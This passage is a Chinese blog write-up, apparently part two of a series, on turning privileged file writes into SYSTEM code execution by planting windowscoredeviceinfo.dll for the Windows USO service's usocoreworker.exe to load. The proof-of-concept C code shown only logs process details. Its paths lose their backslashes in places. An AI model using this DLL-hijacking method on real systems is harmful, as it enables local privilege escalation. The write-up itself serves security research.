利用USO服务将特权文件写入武器化( 二 )

  • 如果成功加载 , 则导入 “QueryDeviceInformation “函数 。
  • 这是一个好的开始 , 但我缺少一些关键要素 。例如 , 我不知道这个 “任务 “是如何运行的 。我甚至不知道作为一个普通用户是否能够触发它 。所以 , 与其在不知道自己在寻找什么的情况下就开始对服务进行逆向工程 , 我决定创建一个PoC DLL , 并验证我是否真的能以NT AUTHORITYSystem的方式获得任意代码执行 。
     
    制作一个PoC DLL这个PoC DLL的目标非常简单 。我想记录一些关于加载它的进程的关键信息:命令行、当前用户名、PID和PPID 。所有这些都会被记录到C:tempdll.log中 。
    首先 , 我想出了以下代码 。TrackCall()函数负责收集和记录信息 。它会被DllMain()和QueryDeviceInformation()执行 , 用来跟踪它的调用者 。
    #include <Windows.h>#include <IOStream>#include <Lmcons.h> // UNLEN + GetUserName#include <tlhelp32.h> // CreateToolhelp32Snapshot()int TrackCall(const wchar_t * callingFrom){WCHAR strSt[4096], strUsername[UNLEN + 1];WCHAR * strComandLine;SYSTEMTIME st;HANDLE hFile, hToolhelpSnapshot;PROCESSENTRY32 stProcessEntry;Dword dwPcbBuffer = UNLEN, dwBytesWritten, dwProcessId, dwParentProcessId;BOOL bResult;strComandLine = GetCommandLine(); // Get Command line of the current processbResult = GetUserName(strUsername, &dwPcbBuffer); // Get current user namedwProcessId = GetCurrentProcessId(); // Get PID// Get PPIDhToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAppROCESS, 0);stProcessEntry = { 0 };stProcessEntry.dwSize = sizeof(PROCESSENTRY32);dwParentProcessId = 0;if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {do {if (stProcessEntry.th32ProcessID == dwProcessId) {dwParentProcessId = stProcessEntry.th32ParentProcessID;break;}} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));}CloseHandle(hToolhelpSnapshot);// Create log entryGetLocalTime(&st);wsprintfW(strSt, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'n", st.wHour, st.wMinute, st.wSecond, dwProcessId, dwParentProcessId, strUsername, strComandLine, callingFrom);// Save to log filehFile = CreateFile(L"C:Tempdll.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile != INVALID_HANDLE_VALUE)bResult = WriteFile(hFile, strSt, lstrlenW(strSt)*sizeof(WCHAR), &dwBytesWritten, NULL);CloseHandle(hFile);return S_OK;}HRESULT __stdcall QueryDeviceInformation(){TrackCall(L"QueryDeviceInformation()");return S_OK;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:TrackCall(L"DllMain()");break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}然后 , 作为管理员 , 我把这个DLL复制到C:/Windows/System32 , 然后 , 等待它被调用…
    利用USO服务将特权文件写入武器化

    文章插图
     
    过了一会儿 , windowscoredeviceinfo.dll的调用终于出现在Process Monitor中 。所有的CreateFile操作都成功返回 。但是 , 在C:temp中没有创建日志文件的迹象 。当然 , 这意味着DLL没有被正确加载 , 问题是:为什么?我猜测 , 我创建的DLL没有导出进程所需的所有函数 。
    利用USO服务将特权文件写入武器化

    文章插图
     
    此时 , 我不知道该如何继续 , 但是 , 当我回到Process Monitor时 , 我看到了一些以前没有看到的事件 。
    文件windowscoredeviceinfo.dll也被一个名为usocoreworker.exe的进程加载 , 这个进程的权限为NT AUTHORITY/System 。这时 , 一些信息被记录到C:Tempdll.log中 , 这说明代码此时已经正确执行了 。
    这看起来更有希望 , 所以我决定抛开DiagTrack服务 , 看看这个新目标 。
     
    转移到新目标我们又回到了起点 。我们需要找出usocoreworker.exe进程是如何创建的 。为此 , 我们可以寻找与写入日志文件的PPID对应的进程 。根据任务管理器 , 它是svchost.exe的一个实例 , 就像大多数Windows服务一样 , 所以PPID对我们的帮助不大 。
    利用USO服务将特权文件写入武器化

    文章插图
     
    对应的服务是 BrokerInfrastructure , 它的描述是 “处理后台任务” 。好吧 , 这也没什么用…… 。
    利用USO服务将特权文件写入武器化


    推荐阅读